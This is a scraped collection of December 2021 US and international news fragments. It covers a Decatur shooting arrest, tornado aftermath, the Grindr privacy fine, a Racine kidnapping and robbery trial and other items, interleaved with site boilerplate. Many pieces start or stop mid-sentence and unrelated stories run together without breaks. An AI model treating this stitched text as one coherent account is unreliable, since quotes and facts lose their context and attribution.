Transportation, there were a total of 1,009 people who died in motor vehicle crashes in 2019 and approximately 30 percent of those fatalities were from impaired driving crashes. Hagemeyer said people should designate sober drivers when leaving events and to take it upon themselves to stop friends or family members from driving drunk or under the influence of drugs. He also wants to remind people that they can use public transportation or their favorite ride-share services to get home safely and to always wear their seat belts. The Illinois Department of Transportation administers and funds the Illinois Drive Sober or Get Pulled Over campaign with federal highway safety funds managed by the National Highway Traffic Safety Administration. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Be the first to know Get local news delivered to your inbox! Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. DECATUR Police on Monday arrested a third man who they said started a fight outside a Decatur bar that ended up with another suspect opening fire with a machine gun. The 32-year-old man was taken into custody Monday evening and booked on a preliminary charge of mob action. A sworn affidavit from Decatur police said the man was caught on video surveillance starting a fight with another man just before 12 a.m. Nov. 10 in a parking lot next to the Flashback Lounge, 2239 E. Wood St. The affidavit said the video footage shows the man as wearing a distinctive red outfit during the fight which is then stopped by the intervention of other people. When the fight was broken up, two male subjects armed with handguns fired multiple times, said Detective Tim Wittmer, who signed the affidavit. The two male subjects with handguns appeared to be with, or associates of, the male subject who initiated the physical fight. Earlier affidavits said one of the guns used was equipped with an extended capacity magazine and had been converted into a machine gun. Both gunmen were seen firing towards a group of people gathered outside the bar. Police said they arrested the alleged gunmen Dec. 3 and one of them, aged 30, was booked on preliminary charges of being a felon in possession of and using a machine gun and the aggravated discharge of a weapon. The second suspect, aged 28, was charged with being a felon in possession of and using a firearm and the aggravated discharge of a weapon. Detective Wittmer said police were able to trace the man who started the physical fight after receiving an anonymous tip. Police conducted an open source search of Facebook for (the mans name) and found an active Facebook page, Wittmer added. There are images on the Facebook page of (him) wearing what appears to be the same red-colored outfit as the male is seen wearing in the video surveillance footage from the Flashback. Wittmer said the man had posted comments about getting into a fight outside the bar and then deleted them after surveillance footage from the scene of the violence was posted on the polices own Facebook page. Macon County Jail records show the man was released from custody Tuesday after posting a $3,000 bond on bail set at $30,000; prosecutors had asked for bail to be set at $50,000. The mans bail conditions order him to stay away from the business. All preliminary charges are subject to review by the state's attorneys office. Contact Tony Reid at (217) 421-7977. Follow him on Twitter: @TonyJReid Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Be the first to know Get local news delivered to your inbox! Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. The Oberheims want society to cherish, respect and value the work of law enforcement and those who put their lives on the line for us all. Coll Street, from Walnut Avenue to Elliot Knox Boulevard, is listed on the citys street maintenance plan. MIKALA COMPTON | Herald-Zeitung Videos Sorry, there are no recent results for popular videos. BRISTOL, Tenn. Consultants for Tri-Cities Airport Authority described the negative impacts that COVID-19 has had on the airport and their strategies for rebounding during a community meeting Tuesday at the Bristol Chamber of Commerce. It was the first of three community meetings airports officials are holding this week to discuss the regions air service with local officials and leaders. The airport, and 400 other airports across the nation, have faced difficult times as a result of the pandemic, requiring calculated business decisions including cutting flight routes and investing in technological advancements, such as pilotless airplanes, said Kirk Lovell, a consultant with Mead and Hunt. He said airline industry officials dont expect 20% of the business travel to return. Prices (for gas) are higher than when we were generating record profits in the airline industry. Theres a big pilot shortage and also a shortage of AP mechanics. Whats happening because of the shortage of pilots is youre starting to see the small regional jets, 50 seaters, 70 seaters, becoming fewer and fewer because that same pilot that can fly that regional jet can also fly a big plane. Support Local Journalism Your subscription makes our reporting possible. {{featured_button_text}} ATHENS, Greece (AP) Greece and a handful of other European Union members began vaccinating children ages 5-11 against COVID-19 on Wednesday as governments braced for the holiday season and the spread of the omicron variant. An Athens childrens hospital administered its first shots to younger children hours after authorities announced Greece's highest daily death of the pandemic at 130. The children were given stickers and the day off school. More than 30,000 vaccination appointments for under-12s have been booked by Greek parents, among them Education Minister Niki Kerameus. I wont hide the fact that on a personal level, after having talked with doctors and receiving scientific data, our family decided to vaccinate our son who is 5 1/2 years old, Kerameus said before taking her son, Loukas, to get his shot at an Athens hospital. Italy, Spain and Hungary also expanded their vaccination programs to younger children. European Union regulators last month approved a reduced-dose vaccine made by Pfizer-BioNTech for use in the 5-11 age group. The tuning or calibration of the wells will begin tomorrow. The tuning and calibration will allow the wells to be opened, possibly up to 100%, depending on gas production, Eads said. Wells will be opened on a gradual basis until the wells are operating at maximum efficiency. During his remarks, Eads also refuted rumors in the community and on social media, saying the landfill was not accepting any waste from New York or any other sources outside this region. The landfill is only accepting household waste, Eads said, and not accepting hazardous waste. Support Local Journalism Your subscription makes our reporting possible. {{featured_button_text}} Additionally, on Tuesday, a request for proposals was published seeking firms to perform consulting and engineering work at the landfill. Eads previously said the city intends to seek an additional outside consultant to review the steps that have been taken thus far to address any issues there. The public comment portion of Tuesdays meeting also generated more than a dozen people from both Bristols voicing their frustrations and concerns with the landfill, including what is being done and what the future may hold for both cities and residents affected with physical ailments blamed on landfill emissions. County Administrator Jason Berry said a decision on Tuesday would allow time to prepare the ground for the new location and to remove the monuments from the courthouse lawn to make way for construction plans in the spring, as the courthouse is now under an expansion plan. Both Hernandez and Supervisor Randy Pennington questioned why the Town of Abingdon was against moving the monuments to Veterans Memorial Park. For months, supporters asked the supervisors to move the monuments to that park, Hernandez said. Yet no formal application was turned in by Abingdon officials, Phillips said. Im afraid theres little hope putting it in the Veterans Park at this time, Hargis said. Rush did urge that the 1907 solider statue be repurposed as a tribute to all veterans not just the Confederacy. Yet Rush also urged members of the Historical Society of Washington County, Virginia, to put together a history of the state to be displayed at its new location. I think this is a great location, Hargis said. Pennington added: While its not my first choice, I think it will be a good choice. Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. In hard-hit Dawson Springs, Kentucky, the only funeral home in town was preparing for at least four funerals for storm victims including two sisters who had worked at the mortuary while also catching up on previously planned memorial services that were delayed by the massive storm, said funeral home owner and president Jenny Beshear Sewell. The sisters who had worked at the Beshear Funeral Home 80-year-old Carole Grisham and 72-year-old Marsha Hall decided to stay put in their home, which lacked a basement, as the tornado barreled down on the town, Sewell said in a phone interview Wednesday. As the tornado approached, Sewell texted Hall with an update on the storms path and to urge the sisters to take refuge in the funeral homes basement or a church basement. Hall replied OK," but that was the last Sewell heard from her. The sisters' home was demolished. Both Grisham and Hall had worked for years at the funeral home, as the sisters mother did before them. Hall was still a key staff member and had put in a hard day of work Friday, just hours before she died in the storm. She handled many of the organizational tasks at the mortuary while also meeting with families. Under the Supreme Courts maps, no one was sacred, no region was spared. Indeed, the maps speak loud and clear: The seven justices read election returns. Nearly seven in 10 voters in 2020 favored a constitutional amendment largely stripping the General Assembly of its redistricting power. If a bipartisan commission couldnt deliver on depoliticized redistricting it was hard-wired by foes to fail then the court would, with plans that guarantee the Legislature and congressional delegation will look very different by the time theyre fully implemented in 2023. Not that Lemons should care. Hes a short-timer, likely quitting the court in 2023, having reached the mandatory retirement age of 73. Lemons is pretty much liberated. He can send a message that the court is capable of independence on an issue that defines the Legislatures power. That includes its authority to hire and fire judges. The public knows and the justices, in effect, acknowledged that hyper-partisan gerrymandering has become the rule; that both parties are guilty of it; and that a court dominated by Republican picks and required to draw districts because the commission deadlocked along party lines can stick it to Rs and Ds. (CNN) Partial human remains found in a garbage bag nearly 40 years ago have been identified as belonging to Frank "Frankie" Little Jr., a member of the R&B band The O'Jays, according to police. The Twinsburg Police Department in Ohio announced the news on Tuesday, saying DNA from relatives was used to help identify the remains found on Feb. 18, 1982. Police said that not much is known about Little's disappearance and death. Little was raised in Cleveland, according to the news release. In the mid-'60s, he was a guitarist and songwriter for The O'Jays. The band released a statement to CNN saying that he was part of the band in the early days and that band members hadn't heard from him since. "He came with us when we first ventured out of Cleveland and traveled to Los Angeles, but he also was in love with a woman in Cleveland that he missed so much that he soon returned back to Cleveland after a short amount of time," according to the statement. The court found Krasikov guilty of murder and sentenced him to life imprisonment. Defense lawyers had asked the court to acquit their client, who claimed a case of mistaken identity. The judges said Krasikov bore particularly grave responsibility for the slaying, meaning he wont be entitled to the automatic parole after 15 years that is customary in Germany. Arnoldi said it was important to note the victims involvement in fighting against Russian forces in Chechnya from 2001 onward. In 2004, Khangoshvili led a group of fighters who attacked a police station in Russia, and civilians were killed along with officers. There is no doubt that Khangoshvili bears responsibility for peoples deaths, the judge said, adding later that Russian authorities had likely sought revenge and retribution for his actions. Asked about the case in December 2019, Russian President Vladimir Putin described the victim as a terrorist and murderer. Khangoshvilis family, which under German law was allowed to take part in the trial as co-plaintiffs, accused Russia last week of trying to send a message to its political enemies by killing him. In your December 2021 issue . . . MILK FUTURES MOVED UP SHARPLY during trading from November 1 to December 9. Class III futures rose 95 cents to reach a $19.50 average for the bundle of January to October 2022 contracts. CLASS IV FUTURES CLIMBED EVEN HIGHER, gaining $1.30 per hundredweight on those same monthly contracts to reach a $20 average. FEED COSTS CONTINUED TO TUG on margins to counter the favorable milk price outlook. The September hay price climbed to $230 per ton in the Dairy Margin Coverage (DMC) program. Meanwhile, soybean meal moderated to $325 per ton. CME corn approached $6 per bushel. DMC PAYMENTS TOOK PLACE in each of the first 10 months of this year. Even though October posted the years most improved income over feed cost, the $8.77 figure still yielded payments at both the $9 and $9.50 coverage levels. Year to date, each 1 million pounds insured at $9.50 paid out $23,000. The total U.S. payout could net $1.1 billion. DECEMBER 13 BEGINS THE ENROLLMENT PERIOD for 2022 DMC coverage. An updated feed cost formula exclusively uses Premium alfalfa hay rather than a 50% level. Dairy farmers who expanded production but remain under the 5 million production cap can sign up for Supplemental Coverage. USDA projects this Supplemental Coverage could net $580 million. Sign up runs through February 18, 2022. THE GLOBAL MILK PRODUCTION FORECAST calls for minimal growth from New Zealand and the European Union, the worlds top two dairy export markets. The combination of high input costs, lackluster feed quality, and new environmental regulations have diminished milk production capabilities in these two major milk sheds. WHY IS U.S. MILK PRODUCTION HITTING A WALL? Large herd dispersals in some parts of the country may have been part of this developing situation, as some dairy farms have bought out other operations to gain base and market access. Also, high input prices and poor forage quality in some regions have contributed to slowed milk flow. IS THIS MILK FLOW PATTERN A NEW TREND? We will need to see a few more months of U.S. data, suggested NMPFs Peter Vitaliano. TRADING ACTIVITY at Global Dairy Trade suggested continued tight dairy product supplies. During December 7 trading activity, the seven-product bundle rose 1.4%, making it the eighth straight session prices moved upward at the every-other-week commodity market. A $5 MILLION BOOST FOR EXPORTS was signed into law by Wisconsin Governor Tony Evers. Of the funds, half, or $2.5 million, would be used to enhance exports of cheese, yogurt, whey, and other dairy products. WHILE DAIRY PRODUCT SALES kept growing both domestically and globally, fluid milk continued to stumble. September fluid milk was off 1.3% compared to a year earlier. Year-to-date sales were down 4.1%. FLAVORED WHOLE MILK BUCKED the trend, climbing 7.6%, and flavored, reduced-fat milk also posted a 10.9% gain in year-to-date sales. CHEESE AND BUTTER ABSORBED MOST DAIRY FAT. In 2020, cheese accounted for 41.7% of all fat use; butter, 19.5%; frozen dairy products, 7.5%; and sour cream, 3.2%. The highest level for cheese was 42.8% in 2018. ONE CATEGORY THAT HAS CLEARLY LOST market share is fluid milk. In 2020, beverage milk accounted for 11.2% compared to 18% in 2000. WHEN IT COMES TO ARC OR PLC, the University of Wisconsins Paul Mitchell advises farmers to sign up for USDAs Agricultural Risk Coverage (ARC) for corn, soybeans, wheat, and oats in 2022. PROVIDENCE, R.I. (AP) While many nonprofits and businesses have struggled during the pandemic, Robert F. Kennedy Jr.s anti-vaccine group has thrived. An investigation by The Associated Press finds that Childrens Health Defense has raked in funding and followers as Kennedy used his star power as a member of one of Americas most famous families to open doors, raise money and lend his group credibility. Filings with charity regulators show revenue more than doubled in 2020, to $6.8 million. Since the pandemic started, Childrens Health Defense has expanded the reach of its newsletter, launched an internet TV channel and started a movie studio. In addition to opening new U.S. branches, it now boasts outposts in Canada, Europe and Australia and is translating articles into French, German, Italian and Spanish. The group has become one of the most popular alternative and natural medicine sites in the world, according to data from digital intelligence company Similarweb. It now draws millions of monthly visitors to its articles many of which sow doubt about the COVID vaccine up from less than 150,000 before the pandemic. MNF Enterprise Services, part of Symbio, a specialist carrier for new- generation enterprise communications solutions has been selected by the South Australian Government (SA) as one of its new preferred providers for Voice and Unified Communications Services. The state government will invest up to A$67.2 million on these technologies over the next five years, according to details just released on its tendering site. Vendors selected by the SA Government will have the option to extend their respective contracts at the end of the five-year period, MNF Enterprise states. MNF Enterprise Services head of enterprise and government Greg Round said the panel rounds out the companys capabilities as a leading provider of unified voice communications technology for government services. Over the last two years we have seen a significant shift across government agencies towards cloud infrastructure, due to the increased demands for more feature rich infrastructure during the pandemic. These Cloud services provide the necessary scalability and efficiency to support remote working and enable governments to deliver critical support services across contact centres more seamlessly. Our national voice network is well-positioned to help the South Australian Government bridge the gap with leading cloud vendors including Microsoft Teams, Cisco Webex and Genesys, to deliver world- class voice technology services across its agencies, said Round. MNF Enterprise advise this latest panel is among several existing arrangements it has with governments across Australia including the Federal Government (Digital Transformation Australia), NSW Government, Victorian Government, Tasmanian Government, and the West Australian Local Government. MNF Enterprise says it also has arrangements in the region with the Singapore and New Zealand governments. This first appeared in the subscription newsletter CommsWire on 13 December 2021. Training employees about what to do in the event of severe weather and sheltering inside buildings are among safeguards Amazon has in place at Chicago area facilities as the company assesses the aftermath of a tornado that decimated a delivery center in Edwardsville, in which at least six people died. The company has recently opened sprawling fulfillment centers in the south suburbs of Chicago in Markham, Matteson and University Park, and Amazon said that emergency response training, such as for a severe weather event, is part of the indoctrination for employees, reinforced by regular drills. In Edwardsville, as would be the case for Amazon's Chicago area facilities, once the tornado warning was received employees were directed to shelter-in-place areas inside the building, according to Alisa Carroll, an Amazon spokeswoman. In the event of a warning of severe weather that falls short of a tornado warning, supervisors at an Amazon facility will follow guidance of local authorities regarding what safety steps they should follow, she said. Amazon's 3.8-million-square-foot fulfillment center at the southeast corner of Harlem Avenue and Vollmer Road in Matteson opened in October and is designed to withstand winds of at least 110 mph, according to Ernest Roberts III, the village's director of community development. A licensed engineer, Roberts said that Matteson officials, along with an outside consulting firm, were "involved from the beginning to end of this entire process" in evaluating plans for the Amazon building, with the design going "above and beyond what was called for" in building codes. "The design for the wind loads are definitely up to code," Roberts said. He said that the building's roof is designed to carry the brunt of the force of a severe storm with high winds, and that, overall, the building is intended to withstand an intense pounding. "It's well reinforced," Roberts said. "It is definitely well within the current codes as far as wind resistance, with reinforced steel and (wall) columns as well." "From a structural point of view, from a life-safety point of view, we are very pleased," he said. Village emergency personnel have also worked closely with Amazon regarding any contingency plans for a response to the Matteson center, and would be able to pinpoint where to direct resources, he said. "If anything were to occur, we would know where the emergency is occurring," Roberts said. The Edwardsville delivery center, which opened in July 2020, has about 1.1 million square feet and employs about 190 people across multiple shifts, according to Amazon. It differs from larger fulfillment centers Amazon has opened in the Southland. From those fulfillment centers, some customer orders go to a local delivery facility before packages end up at a customer's doorstep, while others are sent directly from the fulfillment center to the customer. Out-of-season tornadoes tore through the country's midsection Friday night and at first prompted severe weather warnings in the Chicago metro area, with a tornado touching down in northwest Indiana. In Edwardsville, as soon as the tornado warning was received, Amazon employees were directed to shelter-in-place locations, with the tornado touching down shortly after the alert was sounded, according to Carroll. In that community, Amazon has donated $1 million to clean up efforts, according to the company. Severe weather and damaging winds are not uncommon to the Chicago area and the south suburbs. In August 2020, a massive derecho affected Illinois and seven other states and spawned a dozen tornadoes in northern Illinois. In the south suburbs, the derecho was responsible for tornadoes in Park Forest as well as one that tore a 5-mile path starting in Oak Forest, just east of Harlem Avenue, then continued east, according to the National Weather Service. With winds of 100 mph, the tornado continued to rip through suburbs such as Midlothian, then unleashed 90 mph straight-line winds in Harvey, resulting in power outages lasting for many days. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Chicago Public Schools and the Chicago Teachers Union have agreed to a $9.25 million settlement in a pair of long-running federal discrimination lawsuits stemming from layoffs of Black staff members of underperforming schools. About $5.25 million could be distributed among 413 current and former CTU members under the terms of the deal, which is up for a vote at Wednesdays Chicago Board of Education meeting and is subject to court approval. The attorneys for the teachers and paraprofessionals are seeking $3.6 million in fees and $400,000 in court costs, according to the board. The affected employees were working at South or West side schools turned around between 2012 and 2014. The process, described as a last resort, involves replacing teachers and staff members of schools struggling with academic performance. Employees could reapply for a position within the school, but the union said in its litigation that less than half of teachers typically were rehired. Some displaced staff members landed other positions within CPS, while others retired or left the district because they were unable to find work. Three Black teachers who lost their jobs at turnaround schools filed suit in December 2012, calling the terminations racially discriminatory. A companion suit was filed in 2015. CPS and CTU representatives praised the deal in emailed statements to the media. The agreement concludes nearly 10 years of litigation and will result in the creation and distribution of a settlement fund to benefit those staff members affected by the turnarounds, the CTU statement read. Resolving this matter is in CPS students best interest and will allow the District to move forward while the impacted teachers and staff will receive some compensation for the harm that was done to them. As a union, we have fought for increased funding for schools, adequate staffing and fair treatment of all teachers, regardless of race. CPS released a nearly identical statement, which also said the district will continue efforts to recruit and retain a diverse faculty that reflects our student population. Districtwide, 33.8% of CPS staff is white; 32.7% is Black; 26.5% is Hispanic; and 3.1% is Asian, according to figures provided by the district. Of the 22,000 CPS teachers, 48.8% are white; 22.3% are Hispanic; 20.7% are Black; and 4.2% are Asian. About 330,000 students are enrolled in CPS, with 46.6% Hispanic; 36% Black; 10.8% white and 4.4% Asian. In its statement, the union said it has fought for increased funding for schools, adequate staffing and fair treatment of all teachers, regardless of race. Of the $9.25 million, the board would pay $1.7 million. Its insurance carriers would be on the hook for the rest, $7.55 million. CPS said employees can submit a claim for the settlement money. A claims administrator will determine amounts based on a formula subject to court approval. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Forecasters across the Great Plains predicted unusually warm weather, including likely record-breaking high temperatures in the mid-70s for much of Nebraska, Kansas, Iowa and parts of Missouri. The warmth comes with dangerous winds and threats of violent storms, on the heels of devastating tornadoes last weekend that cut a path through states including Arkansas, Missouri, Tennessee, Illinois and Kentucky, killing at least 88 people. The National Weather Service issued a high wind warning for an area stretching from New Mexico to upper Michigan including Wisconsin and Illinois with sustained winds between 25 mph and 40 mph and widespread gusts of 60-75 mph. The weather service's Storm Prediction Center said embedded gusts of up to 100 mph and a strong tornado or two were also possible, particularly in Nebraska and parts of Iowa and Minnesota. Gusts topping 80 mph were recorded in some areas before noon, including the Texas Panhandle and western Kansas. The National Weather Service said an automated observation site in Lamar, Colorado, recorded a gust of 107 mph Wednesday morning. Officials also warned that strong winds coupled with drier conditions along the western edge of the weather system posed a dangerous fire risk. Essentially, if there are any fires today, it's going to be next to impossible if not impossible to keep them under control, just because of the wind, National Weather Service meteorologist Jordan Thies, based Hastings, Nebraska, said. For our neck of the woods, this is about as bad as it gets. Damaging winds are likely to bring down trees and power lines, leading to power outages, the weather service warned. Some western regions could see visibility cut by blowing dust, while blowing snow could hamper travel in central Nebraska and north, Theis said. Some schools in Nebraska canceled in-person classes, and dozens of schools in Iowa and Nebraska were closing early in anticipation of bad weather. Travel will be very hazardous for high profiles vehicles, and delays are possible along interstates due to overturned tractor trailers, the weather service said. National Weather Service meteorologist Alex Ferguson, based in Amarillo, Texas, described the system as a "pretty quick-hitting wind storm. Though blowing dust had reduced visibility in the Texas Panhandle, conditions had not risen to the level of a dust storm. Officials urged people to bring in or secure holiday decorations, trash cans and outdoor furnutire, which they said could become hazardous projectiles in the strong winds. The winds and storms were expected to move quickly east, Thies said. After that, forecasters expect temperatures to plunge, with below freezing weather in the northern Plains. How to Clip Click and hold your mouse button on the page to select the area you wish to save or print. You can click and drag the clipping box to move it or click and drag in the bottom right corner to resize it. When you're happy with your selection, click the checkmark icon next to the clipping area to continue. These cases are part of the BSA bankruptcy litigation, Drew Armstrong, executive director of the Old Hickory Council of BSA, said Tuesday. Armstrong noted that the national BSA is working on a settlement to compensate victims of child sexual abuse. Many of these cases are decades old and prior to the implementation of our current youth protection training and standards, he said. While we realize that one incident of abuse is too many, weve made great efforts in virtually eliminating these issues in our organization. Simmons, the plaintiffs attorney, could not immediately be reached for comment Tuesday. Support Local Journalism Your subscription makes our reporting possible. {{featured_button_text}} Perversion Files According to the lawsuit, the national Boy Scouts of America maintained what were known as Ineligible Volunteer Files that were intended to keep sexual abusers out. For more than 90 years, BSA has ignored these files while pedophiles sexually abused young boys, the lawsuit said. More than 8,000 scout leaders preying upon young boys were revealed publicly in these files for the first time in 2012. Additionally, more than 12,000 children reported being sexually abused. Forsyth County has recorded an additional COVID-19 related death amid the surge in new cases since the Thanksgiving holiday period. Meanwhile, an uptick continues in the number of patients hospitalized with COVID-19 and the rate of positive tests. The N.C. Department of Health and Human Services reported Tuesday the first flu-related death in the state, an adult identified as living in the western part of the state. The deceased had tested positive for flu and negative for COVID-19. DHHS also reported Forsyth had 96 new COVID-19 cases between noon Monday and noon Tuesday. DHHS lists COVID-19 cases and deaths on the day they are confirmed by medical providers and public health officials, so people may have been infected or may have died days or weeks before their cases were counted. Forsyth has had a total of 55,814 cases of COVID-19 and 593 related deaths during the pandemic. So far this year, the county has had 368 COVID-related deaths, compared with 225 in 2020. The Violo's also wrote that they are "grateful that God is a God of justice who cares for the innocent and the helpless." "And, of all the people in this world, he especially loves children, who are among the most vulnerable," the statement continued. "This reality makes the existence of sex trafficking and child abuse one of the most horrific evils imaginable. It is an evil God hates." Sister Joy-Anna and her husband Austin Forsyth also issued a statement on her Instagram stories. "We agree with the judicial system's verdict and we are thankful for the men and women who work tirelessly to protect children and help prevent child sexual abuse material," it read. "Our hearts break for all CSAM victims." On the day Josh Duggar was convicted, his sister Jill and her husband Derick Dillard posted a statement on their blog. We will do everything that is necessary; there are no red lines for the government, Scholz said. The government will not rest for a moment, and we will pull every available lever until we have all regained our old lives and all our freedoms." Scholz also said that his government is open to criticism and will listen to doubters, but it won't tolerate a tiny minority of uninhibited extremists" trying to impose their will on society. German security agencies have warned that parts of the Querdenken movement a loose collection of groups opposed to the pandemic restrictions are becoming increasingly radicalized. Turning to the new government's wider theme of pursuing progress, Scholz declared that we will use the coming four years to make Germany structurally fit for the world of the 21st century." He said that aim encompasses everything from modernizing the country's administration to investing in offshore wind parks, via building new housing and investing in railways. Climate protection will be a central cross-cutting task in this government, and we want to be measured by how successfully we deal with this task," Scholz said. COPENHAGEN, Denmark (AP) Norways data privacy watchdog on Wednesday fined gay dating app Grindr 65 million kroner ($7.16 million) for sending sensitive personal data to hundreds of potential advertising partners without users' consent a breach of strict European Union privacy rules. The Norwegian Data Protection Authority said it imposed its highest fine to date because the California-based company didn't comply with the EUs tough data protection regulations. Norway isnt a member of the 27-nation bloc but closely mirrors the rules of the European Union. In 2020, Norway's Consumer Council filed a complaint against Grindr for disclosing information about its users, including GPS locations, IP addresses, ages, gender and their use of the app, to several third parties for marketing purposes. That allowed users to be identified and third parties to potentially share personal information further. The data privacy watchdog said users were forced to accept the privacy policy in its entirety to use the app and were not asked specifically if they wanted to allow their data to be shared with third parties for behavioral advertisement. "This is really about what's best for children and families and the resources available to take care of them," he said. "When you look at the workforce of Saint Francis, their work has been incredible. There has been no maltreatment of children. Children have not been lost; they've been taken care of, but from a case-ratio perspective, there was work to do." When the transition ends, Saint Francis plans to remain in the Omaha area as a service provider. The agency has been doing similar work in western and central parts of the state for several years. It will be one of the options that state case managers can turn to for the care of children. Smith said the state will offer jobs to Saint Francis workers. The more workers who take up the state on the offer, the fewer children will have to experience a change in case managers. Plans are for the staff to make the switch in phases through the next six months. The announcement came the day before a special legislative committee was slated to release a report of its investigation into how Saint Francis ended up with a multimillion-dollar contract and how it has performed on the job. Upload photos, videos Reports are coming in of damage in and near Lincoln from the high winds. Please upload your STORY POSTED WEDNESDAY MORNING: You may have gotten up Wednesday morning, noticed the warmth and relatively mild winds, and wondered if weather experts have gotten today's forecast wrong. They would tell you that not only is bad weather still coming, it's likely to be even worse than earlier forecasts. Extremely high winds, with gusts as high as 65-70 mph, are still likely across a wide area this afternoon. The entire state remains in a high wind warning, which caused dozens of school districts, including Lincoln Public Schools, to cancel classes. Those winds are likely to down trees and power lines in some areas, causing widespread power outages, and may even cause structural damage. That forecast hasn't changed from Tuesday. What has changed is the threat of severe thunderstorms. Lincoln is now in an enhanced risk of severe storms, essentially level 3 on a 5-point scale. That's up from a moderate risk, or level 1. RACINE The robbery of a Wells Fargo bank in Racine in June 2019 had all the makings of a Hollywood drama. A group of co-conspirators kidnap a pregnant bank manager along with her two children, hold them overnight, and then use the bank manager to get access to the bank and the money in the early-morning hours. But prosecuting attorney Jennifer Flynn of the Racine County District Attorneys Office told the jury what happened to the victim and her family is not fiction ... It was real, very real. The jury trial began Monday for one of four people charged in connection to the kidnapping and bank robbery that netted the conspirators $47,000. George K. Pearson-Robb, 21, was charged with armed robbery with threat of force as party to a crime, three counts of kidnapping and robbery of a financial institution. Status of four suspects George K. Pearson-Robb: Under trial this week in Racine County. Donterious L. Robb: Sentenced to 35 years in January after pleading guilty. William Q. Howell: Pleaded guilty in June, due to be sentenced as soon as next month. Lamarra Powell: A plea deal was nearly entered in June 2020, but was backed out of. No jury or plead hearing is scheduled, according to online court records. However, as Flynn gave the states opening statements Monday, she acknowledged there was little hard evidence pinning Pearson-Robb to the crime. There is video of the bank robbery, but the conspirators covered their heads and faces. Theres no DNA evidence. But Flynn said that investigators still have a mountain of evidence in this case. She encouraged the jury to pay attention to the details because its a connect-the-dots case where items such as the clothes the defendant was wearing before and after being important. Attorney May Lee, representing the defendant, raised the possibility that the defendant had been wrongly arrested. Understand that even if bad things happen to people, and we want someone to pay, we want justice, it must be that the right people pay for these crimes, she said. Status of four suspects George K. Pearson-Robb: Under trial this week in Racine County. Donterious L. Robb: Sentenced to 35 years in January after pleading guilty. William Q. Howell: Pleaded guilty in June, due to be sentenced as soon as next month. Lamarra Powell: A plea deal was nearly entered in June 2020, but was backed out of. No jury or plead hearing is scheduled, according to online court records. Case history Officers from the Racine Police Department were dispatched at approximately 6:42 a.m. on June 29, 2019 to Wells Fargo on Dr. Martin Luther King Jr. Drive for the report of a bank robbery. But that was far from the first crime allegedly committed by the suspects. Events culminating in the bank robbery actually began the evening before when William Q. Howell, now 21, and Donterious L. Robb, now 26, allegedly approached the branch manager of the downtown Wells Fargo, who was at home in Kenosha and getting her two children, ages 5 and 2, out of the car. The bank manager was pregnant at the time and her children were five and two years old. Howell and Robb brandished firearms and forced the woman and her children into the backseat of her car before getting in her car and driving away. During the trip, they allegedly took her cellphone and wallet. Robb allegedly pointed what appeared to be a gun at her for the entire ride. Investigators believe the handguns involved were fake, but the victim testified that she thought they were real. Howell and Robb are accused of driving the three victims to Milwaukee, where they put the woman and her daughters in the basement of the house where they were staying, telling the woman they wanted access to the bank vault the next morning. During the night, according to police, the woman said she and the children were given a bucket to use as a toilet and at some point her captors brought McDonalds Happy Meals for the children, along with blankets and cushions. In the early-morning hours of the next day, the woman and her two children were transported to Wells Fargo in Racine where she was threatened with a gun until she was able to get the men money. Following the robbery, the victim in the case managed to shut a door, locking herself and her two children in the bank with the conspirators on the other side of the locked door. The conspirators fled with nearly $50,000. States case In her opening remarks, Flynn outlined for the jury the role Pearson-Robb allegedly played in the enterprise. She said the conspirators had been planning the bank robbery for weeks, that the three co-conspirators drove from Milwaukee to Kenosha together on the day of the kidnapping and followed the victim as she made her way from work, picked up her children from their grandmothers house, stopped to pick some items at a shop, before she finally made her way home. At the victims residence, the state alleges Pearson-Robb drove the suspects car while the other two conspirators drove the victims car away with her and her two children in the back. However, the vehicle Pearson-Robb was driving broke down and a state trooper gave him a ride back to a gas station, where one of the conspirators having deposited the victims in a house in Milwaukee came back to pick him up, with the state trooper unaware that he was helping out a kidnapping suspect. The state alleges Pearson-Robb traveled in the victims car while the victim and her children were transported to Racine in the early morning hours of June 29, 2019, and then he participated in the robbery of Wells Fargo. Defense Despite the mountains of evidence, Lee questioned the quality of the investigation that led to the arrest of her client. She noted the crime covered multiple cities and multiple law enforcement agencies assisted in the investigation. Evidence is going to show all of these police agencies could have done a better job and should have done a better job, she said. It was not one law enforcement officer or two who performance fell short, she alleged. Were talking about multiple agencies. Lee noted that lacking any hard evidence DNA or fingerprints the state relied on informants for its information. She asked the jury to pay close attention to the evidence. The group connected to the robbery could be associated with two or three different houses where the occupants shared most things including their clothes but there was only an investigation at one house. So while the surveillance video showed a certain outfit, it did not necessarily mean the defendant was the person wearing it or was the only person to wear it. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Sign up for our Crime & Courts newsletter Get the latest in local public safety news with this weekly email. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. The Wisconsin Department of Justice Division of Criminal Investigation on Wednesday announced that Gary A. Huber, 34, was arrested in Fort Wayne, Ind. on Monday, Dec. 13, for multiple child sexual assault charges. Huber worked as a Rock County deputy sheriff from August 2016 through July 2021, when he resigned to avoid an internal investigation, according to a release issued Wednesday by the Department of Justice. Rock County includes Janesville and Beloit and borders Walworth County and Dane County. Huber is charged with one count of first-degree child sexual assault sexual contact with a child under age 13, one count of repeated sexual assault of a child, three counts of child enticement, two counts of causing a child under age 13 to view/listen to sexual activity, and three counts of exposing genitals, pubic area, or intimate part. Huber was born and raised in Fort Wayne, IN and graduated from Homestead High School in 2006, according to a 2016 Facebook post made by the Rock County Sheriffs Office after Huber was hired. After high school, he joined the United States Marine Corps serving in the Infantry. He completed one tour of duty in Iraq in 2007, earning a Purple Heart, among several other military commendations. After serving in the Marine Corps, Gary attended Indiana Wesleyan University where he obtained a Bachelors Degree in Criminal Justice. Huber was hired as a Deputy Sheriff with the Rock County Sheriffs Office on August 9, 2016. If you have information to share about this investigation, please contact the WI Department of Justice Division of Criminal Investigation at (608) 266-1621 or via email at report@doj.state.wi.us. For survivors looking for supportive resources, please contact a local sexual assault service provider or the DOJ Office of Crime Victim Services at 1-800-446-6564. This investigation was led by Division of Criminal Investigation. The Rock County District Attorneys Office is prosecuting this case. Love 